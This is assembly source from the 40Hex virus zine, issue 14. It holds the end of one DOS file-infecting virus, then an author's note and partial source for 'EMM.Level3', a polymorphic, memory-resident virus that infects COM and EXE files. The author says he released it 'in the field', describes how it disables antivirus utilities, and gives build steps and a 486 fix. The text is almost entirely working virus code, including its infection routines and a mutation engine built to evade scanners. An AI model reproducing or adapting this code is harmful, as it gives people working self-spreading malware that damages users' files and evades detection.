                call i21                        ; & write over it with ourself
                call file_end
                popf
                jc wuret
                ; write the EXE header to EOF
                mov ah, 40h
                mov cx, 2
                mov dx, offset relocnt
                call i21
                xor cx, cx
                mov dx, word ptr [tabloff]
                mov ax, 4200h
                call i21                        ; seek to reloc'n table start
                mov cx, word ptr [relocnt]
                shl cx, 1
                shl cx, 1
                jcxz reloend

move_reloc:     push bp                         ; moves the relocation table
                push ax                         ; to EOF...
                push dx
                mov ax, 3072                    ; = size of blocks to move
                mov bp, ax                      ; (3k at a time)
                cmp cx, ax
                jb mr2
                mov word ptr [mr1+1], ax
                sub cx, ax
                pop dx
                pop ax
                add ax, bp
                adc dx, 0
                push ax
                push dx
                push cx
                jmp $+2                         ; clear the prefetch queue
mr1:            mov cx, 0
mr2:            mov ah, 3fh
                mov dx, offset load
                push dx
                call i21
                push ax
                call file_end
                pop cx
                mov ah, 40h
                pop dx
                call i21
                pop cx
                jcxz reloend2
                mov bp, cx
                pop cx
                pop dx
                mov ax, 4200h
                call i21
                mov cx, bp
                pop bp
                jmp short move_reloc
reloend2:       pop bp
                pop bp
reloend:        mov word ptr [relocnt], 0
                call file_end
                mov ah, 40h
                mov cx, s_len
                call i21                        ; add a stack
                call file_end
wuret:          ret                             ; and return.

rnd_num:        ; calling parameters:
                ; DX:AX contains dword, highest # allowed
                ; returns:
                ; DX:AX the selected offset
                ; CX destroyed
                push dx
                push ax
                xor ax, ax                      ; get an arbitrary number
                int 1ah
                xchg cx, dx
                pop ax
                pop dx
                or dx, dx                       ; is DX:AX <64k?
                jnz rn2
rn1:            cmp ax, cx                      ; is denominator bigger than
                jnb rn2                         ; the numerator?
                shr cx, 1
                jmp short rn1
rn2:            div cx                          ; divide DX:AX by CX
                mul cx                          ; and multiply again
                ret                             ; (got rid of remainder)

; data ..

msg     db      'Have a nice 



XXXX    db      'piss-up!',0d,0a,'


    ; sink some XXXX ales..
doss    db      'DOS!',0d,0a,'




fucks   db      14h,'DCOSCCLVSF-'       ; invalid words in filename
               ;^^^ this is '4' AND 0DFh, to fit in with capitalization routine
@fucks  equ ($-fucks)/2

exts    db      'COMEXE'                ; valid extensions
@exts   equ ($-exts)/3

;------------------------------------------------------------------------------

; This is the actual entry point of the infected file.
; Its job is to relocate the actual virus from elsewhere in the file
; and patch up the area where the virus was with the old data.

ek_kode:        mov bp, ds      ;2      ; this is only written on EXE infection
                push cs         ;1
                pop ds          ;1
                push cs         ;1
                pop es          ;1
ek1:            mov si, 0       ;3      ; same as k3
                lodsw           ;1      ; first word = # of relocation items
                shl ax, 1       ;2
                shl ax, 1       ;2
                add si, ax      ;2
                lea di, [si+v_len] ;4   ; where to reloc'n items to
                lea sp, [di+s_len+10h] ;3
                push ax         ;1
                xchg ax, cx     ;1
                std             ;1
                jcxz ekdone     ;2
                rep movsb       ;2      ; move the relocation table
                movsb           ;1
ekdone:         movsb           ;1
                movsb           ;1
                cld             ;1
                mov ds, bp      ;2

k_kode:         mov ax, ds      ;2
                mov bp, ax      ;2
k1:             add ax, 0       ;3      ; seg displacement of virus code
                mov ds, ax      ;2
k2:             mov si, 0       ;3      ; ofs displacement of virus code
                push cs         ;1
                pop es          ;1
k3:             mov di, 0       ;3      ; where we want to move it
                mov cx, v_len   ;3
                rep movsb       ;2
                push ds         ;1      ; now we restore the old data
                push es         ;1
                pop ds          ;1      ; exchange the segments
                pop es          ;1
                xchg si, di     ;2      ; and pointers
                mov ax, v_len   ;3
                sub si, ax      ;2      ; and adjust them
                sub si, ax      ;2
                push si         ;1
                sub di, ax      ;2
                xchg ax, cx     ;1
                push cx         ;1
                rep movsb       ;2
                push cs         ;1      ; now it's done.. make segs ours..
                pop es          ;1
                pop cx          ;1
                pop di          ;1
                rep movsb       ;2      ; copy virus code to v_end...
                jmp $+2         ;2      ; and clear processor's prefetch queue
                xchg si, di     ;2      ; si points to virus code
                                        ; di points to relocation info
                                ;52 bytes
v_end:

;------------------------------------------------------------------------------
;
; data which needn't be carried around when the virus spreads.
;

old21           equ $

hdr             equ old21 + 4           ; store for calc'd length of EXE header
reloc           equ hdr + 4             ; temp store for relocation data in EXE
signature       equ reloc + 4           ; where we load the host file's header
part_page       equ signature + 2       ; part-page at EOF  ((this is for EXE header))
page_cnt        equ part_page + 2       ; count of code pages
relocnt         equ page_cnt + 2        ; # of relocation items in table
hdr_size        equ relocnt + 2         ; size of header in paragraphs
minmem          equ hdr_size + 2        ; minimum memory required
maxmem          equ minmem + 2          ; maximum memory required
relo_ss         equ maxmem + 2          ; displacement of stack segment (SS)
exe_sp          equ relo_ss + 2         ; stack pointer (SP)
chksum          equ exe_sp + 2          ; infection marker in EXEs
exe_ip          equ chksum + 2          ; instruction pointer (IP)
relo_cs         equ exe_ip + 2          ; displacement of code segment (CS)
tabloff         equ relo_cs + 2         ; offset of EXE relocation table
                                        ; 26 bytes for EXE header
oldss           equ tabloff + 2
oldsp           equ oldss + 2
filename        equ oldsp + 2           ; filename of target file

v_len           equ v_end - v_start

;
; the end.
;
;------------------------------------------------------------------------------

40Hex Number 14 Volume 5 Issue 1                                      File 010

                comment         %

Dear Virus Friends,

dis is so far my latest production.
It is a polymorphic virus that uses some stealth techniques.
After execution of infected file, it goes memory-resident and hits com'n'exe
on execution or creation.
There are two interesting features to this.
First it is the polymorphic engine that generates two-phase decrypting routine.
First phase consists of various instructions, among them some decrypt phase two.
Phase two is a regular cyclical decryptor. (By altering phase two you probably
can avoid detection by the virus scanners.)
Second feature is demobilising of resident virus utilities (see source code
of function "eliminate_av" for further details).
Well, after I planted this virus in the field, I was told it does not run
on 486s. The problem is that prefetch queue is longer on 486 than on my home
machine and that's why self modyfying code does not work. Well, sorry for
that, I really didn't mean to.
To correct this problem, follow the instructions in the source code
marked by "#####".
To get a working copy of original EMM.Level3 virus do the following:
tasm level3.asm   (I used ver. 2.51; do not use /M switch)
tlink level3.obj  (I used ver. 4.00)
level3.exe

Btw, I am Vyvojar, and you may have met Explosion and One Half - the forerunners
to Level3.

(pre SVL: na stretnutie sa tesim :)) - len neviem ako sa skontaktujeme ...
 skuste sa na mna spytat na irc - kanal #virus)

                %

                .model  small
                .stack  80h

host_segment    segment
                mov     ax,4c00h
                int     21h
host_segment    ends

virus_segment   segment
                assume  cs:virus_segment,ds:virus_segment

start_virus     label   near

DEPTH=5*3
sstack          db      DEPTH dup(?)
ssp             dw      DEPTH           ;stack simulation

LENOVER=DEPTH                   ;length of overwritable bytes
LENVIR=(offset end_virus-offset start_virus)
LENHBUF=700                     ;length of header buffer (for phase 1)
EXTENTION=(16+LENVIR+LENHBUF)   ;by this number infected file grows
DEPSTACK=80h
LENFNB=64                       ;length of file name buffer
LENDEC=(edec-sdec)  ;decoder length (phase 2)
MEMPOS=04fbh            ;memory location for far jump within segment 0000h
ORDER=25

strc            struc           ;structure for exe header
 id             dw      ?
 lpage          dw      ?
 pages          dw      ?
 items          dw      ?
 parps          dw      ?
 min            dw      ?
 max            dw      ?
 vSS            dw      ?
 vSP            dw      ?
 flag           db      ?       ;com/exe determination
                db      ?
 vIP            dw      ?
 vCS            dw      ?
strc            ends

bheader         strc    <1,,,,,,,0,,1,,0,0>

v16             dw      16
v30             dw      30
v512            dw      512

;********************** Explosion's Mutation Machine *********************

                db      '* EMM 1.0 *'
rnd_get:
                push    si
                push    ax
                push    bx
                push    cx
                push    dx
                db      0b9h
rnd2            dw      ?
                db      0bbh
rnd1            dw      ?
                mov     dx,015ah
                mov     ax,4e35h
                xchg    ax,si
                xchg    ax,dx
                test    ax,ax
                jz      rnd_l1
                mul     bx
rnd_l1:         jcxz    rnd_l2
                xchg    ax,cx
                mul     si
                add     ax,cx
rnd_l2:         xchg    ax,si
                mul     bx
                add     dx,si
                inc     ax
                adc     dx,0000h
                mov     cs:rnd1,ax
                mov     cs:rnd2,dx
                mov     ax,dx
                pop     cx
                xor     dx,dx
                jcxz    rdbz            ;division by zero
                div     cx
                jmp     short danilak_vyskumnik
rdbz:           xchg    dx,ax           ;if dx=0 on input then interval 0-ffff
danilak_vyskumnik:
                pop     cx
                pop     bx
                pop     ax
                pop     si
                retn

registers       label   near ;flag,value,offset when w=0 (operation with byte)
rax             db      3 dup(?),(offset rax-offset registers)
rcx             db      3 dup(?),(offset rcx-offset registers)
rdx             db      3 dup(?),(offset rdx-offset registers)
rbx             db      3 dup(?),(offset rbx-offset registers)
rsp             db      3 dup(?),(offset rax-offset registers)
rbp             db      3 dup(?),(offset rcx-offset registers)
rsi             db      3 dup(?),(offset rdx-offset registers)
rdi             db      3 dup(?),(offset rbx-offset registers)
res             db      4 dup(?)
rflag           db      4 dup(?)

;bits in flag:
;       0 = lo part of register set if 1
;       1 = hi part of register set if 1
;       2 = don't change value of register if 1 (for sp)

fw              db      ? ;fw=0 when byte operation, fw=1 when word operation

choose:
                push    ax      ;selection of routine according to the table
                push    cx      ;ds:si points to the table
                push    dx      ;table is in the format: byte/probability
                push    si      ;                        word/adr of routine
                xor     cx,cx   ;table ends with 0ffh
take_next:      lodsb
                cbw
                add     cx,ax
                cmp     al,0ffh
                lodsw
                jne     take_next
                inc     cx              ;subtract 0ffffh
                pop     si
                mov     dx,cx
                call    rnd_get
try_next:       lodsb
                cbw
                sub     cx,ax
                lodsw
                cmp     dx,cx
                jb      try_next
                xchg    si,ax
                pop     dx
                pop     cx
                pop     ax
                jmp     si              ;jump to the selected routine

getaddr:                                ;get addr of reg within registers table
                push    ax
                push    bx
                mov     si,dx
                shl     si,1
                shl     si,1
                mov     bx,offset registers
                add     si,bx
                mov     ch,3            ;mask for word register
                cmp     fw,0
                jne     chsl
                add     si,3
                lodsb
                cbw
                xchg    si,ax
                add     si,bx
                dec     ch              ;mask for hi byte of reg
                test    dl,04h
                jnz     chsl
                dec     ch              ;mask for lo byte of reg
chsl:           pop     bx
                pop     ax
                retn

gregl:                                  ;select target reg  (output in dx)
                push    cx
                push    si
gregl_other:    mov     dx,8
                call    rnd_get
                call    getaddr
                test    byte ptr [si],04h ;can I modify value of reg?
                jnz     gregl_other
                pop     si
                pop     cx
                retn

gregp:                  ;select source reg with defined value (output in dx)
                push    ax
                xor     ah,ah
                jmp     short kazisvet_prefikany
gregls:                 ;select target reg with defined value (output in dx)
                push    ax
gl108:          mov     ah,04h
kazisvet_prefikany:
                push    cx
                push    si
                push    bp
                mov     dx,8
                call    rnd_get
                mov     bp,dx
                xor     dx,dx
                mov     cl,dl
grdl1:          call    getaddr
                lodsb
                test    al,ah
                jnz     grng1
                and     al,03h
                cmp     al,03h
                je      vrah_pocitacovy_kosicky
                cmp     al,ch
                jne     grng1
vrah_pocitacovy_kosicky:
                inc     cx
                dec     bp
                js      tulen_bacil
grng1:          inc     dx
                cmp     dx,8
                jb      grdl1
                or      cl,cl
                jnz     gra1v
                stc
                jmp     short grnv
gra1v:          and     dx,07h
                jmp     grdl1
tulen_bacil:    clc
grnv:           pop     bp
                pop     si
                pop     cx
                pop     ax
                retn

wtreg:                                  ;write value into reg
                push    cx
                push    si
                call    getaddr
                inc     si
                cmp     ch,3
                jne     wtw1
                mov     [si],ax
                jmp     short wtb1
wtw1:           cmp     ch,1
                je      panko_revizor
                inc     si
panko_revizor:  mov     [si],al
wtb1:           pop     si
                pop     cx
                retn

rfreg:                                  ;read value from reg
                push    cx
                push    si
                call    getaddr
                inc     si
                cmp     ch,3
                jne     rfw1
                lodsw
                jmp     short rfb1
rfw1:           cmp     ch,1
                je      rfnp
                inc     si
rfnp:           lodsb
rfb1:           pop     si
                pop     cx
                retn

shl3fw:
                or      al,fw
shl3dl:
                push    dx
                mov     cl,3
                shl     dl,cl
                or      ah,dl
                pop     dx
                retn

;************************* generating of MOV *********************

;generating of mov reg,imm
mt1:
                call    gregl
                push    dx
                mov     al,fw
                mov     cl,3
                shl     al,cl
                or      al,10110000b
                or      al,dl
                stosb
                xor     dx,dx
                call    rnd_get
                xchg    ax,dx
                pop     dx
                call    wtreg
                call    getaddr
                or      [si],ch
                cmp     ch,3
                jne     bt1
                stosw
                jmp     wd1
bt1:            stosb
wd1:            retn

;generating of mov reg,reg
mt2:
                call    gregp
                jc      wd1
                call    rfreg
                push    ax
                mov     ax,1100000010001010b
                or      al,fw
                or      ah,dl
                mov     bx,dx
nti1:           call    gregl
                cmp     bx,dx
                je      nti1
                call    shl3dl
                stosw
                pop     ax
                call    wtreg
                call    getaddr
                or      [si],ch
                retn

chtab00         db      45
                dw      offset mt1
                db      45
                dw      offset mt2
                db      3
                dw      offset mt6
                db      3
                dw      offset mt7
                db      1
                dw      offset mt3
                db      1
                dw      offset mt4
                db      1
                dw      offset mt5
                db      0ffh
gmovr:
                mov     si,offset chtab00
                jmp     choose

;generating of mov ds,reg
mt5:
                mov     fw,1
                test    res+3,1
                jnz     mt5err          ;if ds is set to cs, do nothing
                call    gregp
                jc      mt5err
                mov     ax,1101100010001110b
                or      ah,dl
                stosw
mt5err:         retn

;generating of mov reg,sreg
mt4:
                mov     fw,1
                mov     dx,20h
                call    rnd_get
                mov     ax,1100000010001100b
                or      ah,dl
                and     ah,0f8h
                call    gregl
                or      ah,dl
                stosw
                call    getaddr
                and     ah,00011000b
                jz      sppse
                and     byte ptr [si],0fch ;value in reg is not valid
                retn
sppse:          mov     al,res
                mov     [si],al
                mov     ax,word ptr res+1
                mov     [si+1],ax
                retn

;generating of mov es,reg
mt3:
                mov     fw,1
                call    gregp
                jc      mt3err
                mov     ax,1100000010001110b
                or      ah,dl
                stosw
                call    rfreg
                or      res,3
                mov     word ptr res+1,ax
mt3err:         retn

;generating of xor X,X
mt6:
                mov     al,00110010b
                jmp     short com67

;generating of sub X,X
mt7:
                mov     al,00101010b
com67:          mov     ah,11000000b
                call    gregl
                or      ah,dl
                call    getaddr
                or      [si],ch         ;reg is set to zero and has valid value
                mov     word ptr ds:(offset gl102),0c032h
                jmp     short pcpm67

;******************** general part for OR, AND, ... ************************

perform_oper_l2:
                mov     al,fw
                add     byte ptr ds:(offset gl102),al
                call    rfreg
                mov     bp,word ptr rflag+1
                push    bp
                popf
                sti
                cld
gl102:          or      al,bl
                pushf
                pop     bp
                mov     word ptr rflag+1,bp
                jmp     wtreg

perform_oper_l1:
                call    perform_oper_l2
                or      rflag,1
                retn

chtab01         db      45
                dw      offset ot1
                db      45
                dw      offset ot2
                db      10
                dw      offset ot3
                db      0ffh
ggen2:
                lodsb
                mov     ah,0c3h
                mov     word ptr ds:(offset gl102),ax
                lodsb
                mov     byte ptr ds:(offset gl104+1),al
                lodsb
                mov     ah,11000000b
                mov     word ptr ds:(offset gl105+1),ax
                lodsw
                mov     word ptr ds:(offset gl106+1),ax
                mov     si,offset chtab01
                jmp     choose

;generating of ins a?,imm
ot3:
                xor     dx,dx
                call    getaddr
                lodsb
                and     al,03h
                cmp     al,03h
                je      ot3obn
                cmp     al,ch
                jne     ot1
ot3obn:         push    dx
gl104:          mov     al,00001100b
                or      al,fw
                stosb
                jmp     short tozti

;generating of ins reg,reg
ot2:
                call    gregp
                jc      wdort1
                call    rfreg
                xchg    bx,ax
gl105:          mov     ax,1100000000001010b
                or      ah,dl
                call    gregls
                jc      wdort1
pcpm67:         call    shl3fw
                stosw
                jmp     perform_oper_l1

;generating of ins reg,imm
ot1:
                call    gregls
                jc      wdort1
                push    dx
gl106:          mov     ax,1100100010000000b
                or      al,fw
                or      ah,dl
                stosw
tozti:          xor     dx,dx
                call    rnd_get
                mov     bx,dx
                pop     dx
                call    perform_oper_l1
                xchg    ax,bx
                cmp     fw,0
                je      bort1
                stosw
                jmp     wdort1
bort1:          stosb
wdort1:         retn

;*********************** generating of OR ***************************
orrdat          db      0ah             ;oper AL,BL ... inc ... oper AX,BX
                db      00001100b       ;oper a?,imm
                db      00001010b       ;oper reg,reg
                dw      1100100010000000b ;oper reg,imm
gorr:
                mov     si,offset orrdat
pgen21:         jmp     ggen2
;*********************** generating of AND ***************************
andrdat         db      22h             ;oper AL,BL ... inc ... oper AX,BX
                db      00100100b       ;oper a?,imm
                db      00100010b       ;oper reg,reg
                dw      1110000010000000b ;oper reg,imm
gandr:
                mov     si,offset andrdat
                jmp     pgen21
;*********************** generating of XOR ***************************
xorrdat         db      32h             ;oper AL,BL ... inc ... oper AX,BX
                db      00110100b       ;oper a?,imm
                db      00110010b       ;oper reg,reg
                dw      1111000010000000b ;oper reg,imm
gxorr:
                mov     si,offset xorrdat
pggen2:         jmp     pgen21
;*********************** generating of TEST **************************
testrdt         db      84h             ;oper AL,BL ... inc ... oper AX,BX
                db      10101000b       ;oper a?,imm
                db      10000100b       ;oper reg,reg
                dw      1100000011110110b ;oper reg,imm
gtestr:
                mov     si,offset testrdt
ggen3:          mov     byte ptr ds:(offset gl108+1),00h ;target register can be any register set to proper value
                call    ggen2
                mov     byte ptr ds:(offset gl108+1),04h ;restore
                retn
;*********************** generating of CMP ***************************
cmprdat         db      3ah             ;oper AL,BL ... inc ... oper AX,BX
                db      00111100b       ;oper a?,imm
                db      00111010b       ;oper reg,reg
                dw      1111100010000000b ;oper reg,imm
gcmpr:
                mov     si,offset cmprdat
                jmp     ggen3
;*********************** generating of ADD ***************************
addrdat         db      02h             ;oper AL,BL ... inc ... oper AX,BX
                db      00000100b       ;oper a?,imm
                db      00000010b       ;oper reg,reg
                dw      1100000010000000b ;oper reg,imm
gaddr:
                mov     si,offset addrdat
                jmp     pggen2
;*********************** generating of SUB ***************************
subrdat         db      2ah             ;oper AL,BL ... inc ... oper AX,BX
                db      00101100b       ;oper a?,imm
                db      00101010b       ;oper reg,reg
                dw      1110100010000000b ;oper reg,imm
gsubr:
                mov     si,offset subrdat
                jmp     pggen2
;*********************** generating of ADC ***************************
adcrdat         db      12h             ;oper AL,BL ... inc ... oper AX,BX
                db      00010100b       ;oper a?,imm
                db      00010010b       ;oper reg,reg
                dw      1101000010000000b ;oper reg,imm
gadcr:
                mov     si,offset adcrdat
ggen4:          test    rflag,1
                jnz     pggen2
gg10err:        retn
;*********************** generating of SBB ***************************
sbbrdat         db      1ah             ;oper AL,BL ... inc ... oper AX,BX
                db      00011100b       ;oper a?,imm
                db      00011010b       ;oper reg,reg
                dw      1101100010000000b ;oper reg,imm
gsbbr:
                mov     si,offset sbbrdat
                jmp     ggen4

;***************** general part for INC,DEC,... ******************

chtab03         db      1
                dw      offset inct2
chtab04         db      1
                dw      offset inct1
                db      0ffh
ggen11:
                lodsw
                mov     word ptr ds:(offset gl102),ax
                lodsw
                mov     word ptr ds:(offset gl201+1),ax
                lodsb
                mov     byte ptr ds:(offset gl202+1),al
gl203:          mov     si,offset chtab03
                jmp     choose

;generating of ins reg8 or ins reg16 (2 bytes)
inct1:
                call    gregls
                jc      gg10err
gl201:          mov     ax,1100000011111110b
ggen21:         or      al,fw
                or      ah,dl
                stosw
                jmp     perform_oper_l2

;generating of ins reg16 (1 byte)
inct2:
                mov     fw,1
                call    gregls
                jc      gg10err
gl202:          mov     al,01000000b
                or      al,dl
                stosb
                jmp     perform_oper_l2

;*********************** generating of INC ***************************
incrdat         dw      0c0feh          ;operation
                dw      1100000011111110b ;2 bytes
                db      01000000b       ;1 byte
gincr:
                mov     si,offset incrdat
                jmp     ggen11
;*********************** generating of DEC ***************************
decrdat         dw      0c8feh          ;operation
                dw      1100100011111110b ;2 bytes
                db      01001000b       ;1 byte
gdecr:
                mov     si,offset decrdat
                jmp     ggen11
;*********************** generating of NEG ***************************
negrdat         dw      0d8f6h          ;operation
                dw      1101100011110110b ;2 bytes
gnegr:
                mov     si,offset negrdat
                push    di
                call    ggen12
                pop     ax
                cmp     di,ax   ;if no operation performed then no flags set
                jna     inegbv
                or      rflag,1
inegbv:         retn
;*********************** generating of NOT ***************************
notrdat         dw      0d0f6h          ;operation
                dw      1101000011110110b ;2 bytes
gnotr:
                mov     si,offset notrdat
ggen12:         mov     word ptr ds:(offset gl203+1),offset chtab04
                call    ggen11
                mov     word ptr ds:(offset gl203+1),offset chtab03
xt1err:         retn

;*********************** generating of XCHG **************************

chtab05         db      1
                dw      offset xchgt1
                db      1
                dw      offset xchgt2
                db      0ffh
gxchgr:
                mov     si,offset chtab05
                jmp     choose

;generating of xchg reg,reg (2 bytes)
xchgt1:
                call    gregls          ;source operand
                jc      xt1err
                call    rfreg
                xchg    bx,ax
                mov     ax,1100000010000110b
                or      ah,dl
                mov     bp,dx
                call    gregls          ;target operand
                cmp     bp,dx
                je      xt1err
                push    bp
                call    shl3fw
                stosw
gl301:          call    rfreg
                xchg    ax,bx
                call    wtreg
                pop     dx
                xchg    ax,bx
                jmp     wtreg

;generating of xchg ax,reg (1 byte)
xchgt2:
                mov     fw,1
                call    gregls
                jc      xt1err
                cmp     rax,03h
                jne     xt1err
                call    rfreg
                xchg    bx,ax
                mov     al,10010000b
                or      al,dl
                push    dx
                xor     dx,dx           ;target operand
                stosb
                jmp     gl301

;***************** general part for SHL,SHR,... ******************

ggen20:
                mov     al,11010000b
                test    rcx,1           ;valid value in cl ?
                jz      rbsh1
                mov     dx,2
                call    rnd_get         ;shl ,cl or shl ,1 ?
                shl     dl,1
                or      al,dl
                mov     cl,rcx+1
rbsh1:          mov     word ptr ds:(offset gl102),ax
                call    gregls
                jc      gg20err
                and     rflag,0feh      ;flags not defined
                jmp     ggen21

;********************* generating of SHL,SAL *************************
gshlr:
                mov     ah,11100000b
                jmp     ggen20
;*********************** generating of SHR ***************************
gshrr:
                mov     ah,11101000b
                jmp     ggen20
;*********************** generating of SAR ***************************
gsarr:
                mov     ah,11111000b
                jmp     ggen20
;*********************** generating of ROL ***************************
grolr:
                mov     ah,11000000b
                jmp     ggen20
;*********************** generating of ROR ***************************
grorr:
                mov     ah,11001000b
                jmp     ggen20
;*********************** generating of RCL ***************************
grclr:
                mov     ah,11010000b
ggen22:         test    rflag,1
                jz      gg20err
                jmp     ggen20
gg20err:        retn
;*********************** generating of RCR ***************************
grcrr:
                mov     ah,11011000b
                jmp     ggen22

;*********************** generating of PUSH **************************

chtab06         db      15
                dw      offset gpt1
                db      3
                dw      offset gpt2
                db      1
                dw      offset gpt3
                db      0ffh
gpushr:
                cmp     ssp,0
                je      gg20err         ;emulated stack full
                mov     si,offset chtab06
gl410:          mov     fw,1
                jmp     choose

;type: push reg
gpt1:
                call    gregl           ;can push any reg (except sp)
                mov     al,01010000b
                or      al,dl
                stosb
                call    getaddr
                lodsb
                xchg    cx,ax
                call    rfreg

;-------- simulation of PUSH --------
spush:
                sub     ssp,3
                sub     word ptr rsp+1,2
                mov     si,ssp
                mov     byte ptr [si+offset sstack],cl
                mov     word ptr [si+offset sstack+1],ax
                retn

;type: push sreg
gpt2:
                mov     dx,00100000b
                call    rnd_get
                xchg    ax,dx
                or      al,00000110b
                and     al,11111110b
gl409:          stosb
                xor     cl,cl
                cmp     al,00000110b
                jne     spush
                mov     ax,word ptr res+1
                mov     cl,res          ;if it is es
                jmp     spush

;type: pushf
gpt3:
                mov     al,10011100b
                jmp     gl409

;*********************** generating of POP ***************************

chtab07         db      15
                dw      offset gpot1
                db      2
                dw      offset gpot2
                db      1
                dw      offset gpot3
                db      3
                dw      offset gpot4
                db      0ffh
gpopr:
                cmp     ssp,DEPTH
                je      gg20err         ;emulated stack is empty
                mov     si,offset chtab07
                jmp     gl410

;type: pop reg
gpot1:
                call    gregl           ;can pop any reg (except sp)
                mov     al,01011000b
                or      al,dl
                stosb
                call    spop
                call    getaddr
                mov     byte ptr [si],cl
                call    wtreg
                retn

;-------- simulation of POP --------
spop:
                mov     si,ssp
                mov     cl,byte ptr [si+offset sstack]
                mov     ax,word ptr [si+offset sstack+1]
                add     ssp,3
                add     word ptr rsp+1,2
                retn

;type: pop es
gpot2:
                mov     al,00000111b
                stosb
                call    spop
                mov     res,cl
                mov     word ptr res+1,ax
chpote:         retn

;type: pop ds
gpot3:
                test    res+3,1
                jnz     chpote          ;if ds set to cs do nothing
                mov     al,00011111b
                stosb
                jmp     spop

;type: push cs,pop ds
gpot4:
                test    res+3,1
                jnz     chpote
                mov     ax,0001111100001110b
                stosw
                or      res+3,1         ;note that ds is set
                retn

;********************* generating of jumps **************************

MAXJMP=20
gbytes:
                push    ax
                push    cx
                push    dx
                mov     cx,dx
                jcxz    gbsdda
gbdb:           xor     dx,dx
                call    rnd_get
                xchg    ax,dx
                stosb
                loop    gbdb
gbsdda:         pop     dx
                pop     cx
                pop     ax
                retn
takeb:
                call    rnd_get
                add     si,dx
                lodsb
                retn

NOJCON=17
jcontab         db      01110111b       ;ja/jnbe
                db      01110011b       ;jae/jnb/jnc
                db      01110010b       ;jb/jnae/jc
                db      01110110b       ;jbe/jna
                db      01110100b       ;je/jz
                db      01111111b       ;jg/jnle
                db      01111101b       ;jge/jnl
                db      01111100b       ;jl/jnge
                db      01111110b       ;jle/jng
                db      11101011b       ;jmp
                db      01110101b       ;jne/jnz
                db      01110001b       ;jno
                db      01111011b       ;jnp/jpo
                db      01111001b       ;jns
                db      01110000b       ;jo
                db      01111010b       ;jp/jpe
                db      01111000b       ;js
jcxdtab         db      11100011b       ;jcxz
                db      11100010b       ;loop
                db      11100001b       ;loope/loopz
                db      11100000b       ;loopne/loopnz

chtab09         db      24
                dw      offset gjcon
                db      5
                dw      offset gjcxd
                db      1
                dw      offset gjmpn
                db      3
                dw      offset gcall
                db      0ffh
gjmp:
                mov     si,offset chtab09
                jmp     choose

;generating of jx
gjcon:
                test    rflag,1
                jz      g40err
                mov     si,offset jcontab
                mov     dx,NOJCON
ggen41:         call    takeb
                stosb
                mov     byte ptr ds:(offset gl501),al
                mov     cx,word ptr rcx+1
                mov     bp,word ptr rflag+1
                push    bp
                popf

;#####
;to run on 486 supply this:
;               jmp     $+2
;#####

gl501:          jmp     short gl502
                xor     dx,dx
                call    rnd_get
                xchg    ax,dx
                stosb
                jmp     short g40mcx
gl502:          mov     dx,MAXJMP       ;max no of bytes to jump over
                call    rnd_get
                mov     al,dl
                stosb
                call    gbytes
g40mcx:         mov     word ptr rcx+1,cx
g40err:         retn

;generating of jcxz,loopx
gjcxd:
                cmp     rcx,3
                jne     g40err
                mov     si,offset jcxdtab
                mov     dx,2
                test    rflag,1
                jz      ggen41
                mov     dx,4
                jmp     ggen41

;generating of jmp near
gjmpn:
                mov     al,11101001b
                stosb
                mov     dx,MAXJMP
                call    rnd_get
                mov     ax,dx
                stosw
                jmp     gbytes

;generating of call X
gcall:
                test    byte ptr eflag,4
                jz      g40err          ;can't generate call if no retn before
                mov     al,11101000b
                stosb
                mov     ax,retnaddr
                dec     ax
                dec     ax
                sub     ax,di
                stosw
                retn

;****************** generating of sti,cli,std,cld **********************

sacftb          label   byte
                sti
                cli
                std
                cld
gsacf:
                mov     si,offset sacftb
                mov     dx,4
                call    takeb
                stosb
                retn

;********************* generating of mem. ins. *************************

chtab10         db      4
                dw      offset pissi
                db      4
                dw      offset pisdi
                db      4
                dw      offset pisbx
                db      1
                dw      offset pisbr
                db      0ffh
g2ndb:
                mov     si,offset chtab10
                jmp     choose
pissi:          mov     bp,word ptr rsi+1
                mov     ah,10000100b
                cmp     rsi,3
                je      chenbr
pisdi:          mov     bp,word ptr rdi+1
                mov     ah,10000101b
                cmp     rdi,3
                je      chenbr
pisbx:          mov     bp,word ptr rbx+1
                mov     ah,10000111b
                cmp     rbx,3
                je      chenbr
pisbr:          xor     bp,bp
                mov     ah,00000110b
chenbr:         retn

insertcs:
                test    res+3,1         ;ds set to cs ?
                jnz     jtdss
                mov     byte ptr [di],2eh ;insert cs: prefix
                inc     di
jtdss:          retn

ggen60:         call    gregp
                jc      gmerr
                push    ax
                call    rfreg
                or      al,al
                pop     ax
                jz      gmerr           ;to avoid operation with 0
                call    shl3dl
ggen61:         or      al,fw
                call    insertcs
                stosw
                mov     si,ptei
                mov     word ptr [si],ax
                call    rfreg
                mov     word ptr [si+4],ax
                mov     dx,LENDEC
                sub     dl,fw           ;to enable proper rotation
                call    rnd_get
                mov     word ptr [si+2],dx
                add     ptei,6
                mov     ax,sodec
                add     ax,dx
                sub     ax,bp
                stosw
                and     rflag,0feh      ;flags modified
gmerr:          retn

chtb20o         db      6,8,8,2,2 ;starting probabilities for memory-modifying instructions
chtab20         db      ?
                dw      offset gxorp
                db      ?
                dw      offset gaddp
                db      ?
                dw      offset gsubp
                db      ?
                dw      offset grolp
                db      ?
                dw      offset grorp
                db      0ffh
gmutp:
                cmp     ptei,offset eei
                jnb     gmerr
                call    g2ndb
                mov     si,offset chtab20
                jmp     choose
gxorp:
                mov     al,00110000b
                jmp     ggen60
gaddp:
                mov     al,00000000b
                jmp     ggen60
gsubp:
                mov     al,00101000b
                jmp     ggen60
grolp:
                mov     al,11010000b
                mov     dx,4
                call    rnd_get
                or      dx,dx
                jz      zbclns
                test    rcx,1           ;cl set ?
                jz      zbclns
                cmp     rcx+1,0
                je      zbclns          ;does not generate rotation ,cl if cl=0
                or      al,00000010b
zbclns:         mov     dx,1            ;address for emulated cx
                jmp     ggen61
grorp:
                or      ah,00001000b
                jmp     grolp

;********************* generating of mem. mov **************************

chtab30         db      5
                dw      offset pmvt1
                db      1
                dw      offset pmvt2
                db      0ffh
gmovp:
                call    g2ndb
                mov     si,offset chtab30
                jmp     choose

;type: mov reg,mem
pmvt1:
                call    gregl
                mov     al,10001010b
                call    shl3fw
                push    dx
                call    insertcs
                stosw
                mov     dx,di
                sub     dx,offset hbuf+1
                call    rnd_get             ;in dx offset within header buffer
                mov     ax,rel
                add     ax,dx
                sub     ax,bp
                stosw
                xchg    ax,dx
                pop     dx
                call    getaddr
                or      [si],ch         ;reg value is valid
                mov     si,offset hbuf
                add     si,ax
                lodsw
                jmp     wtreg           ;read byte and write to reg

;type: mov mem,reg
pmvt2:
                call    gregp
                jc      pmverr
                mov     al,10001000b
                call    shl3fw
                call    insertcs
                stosw
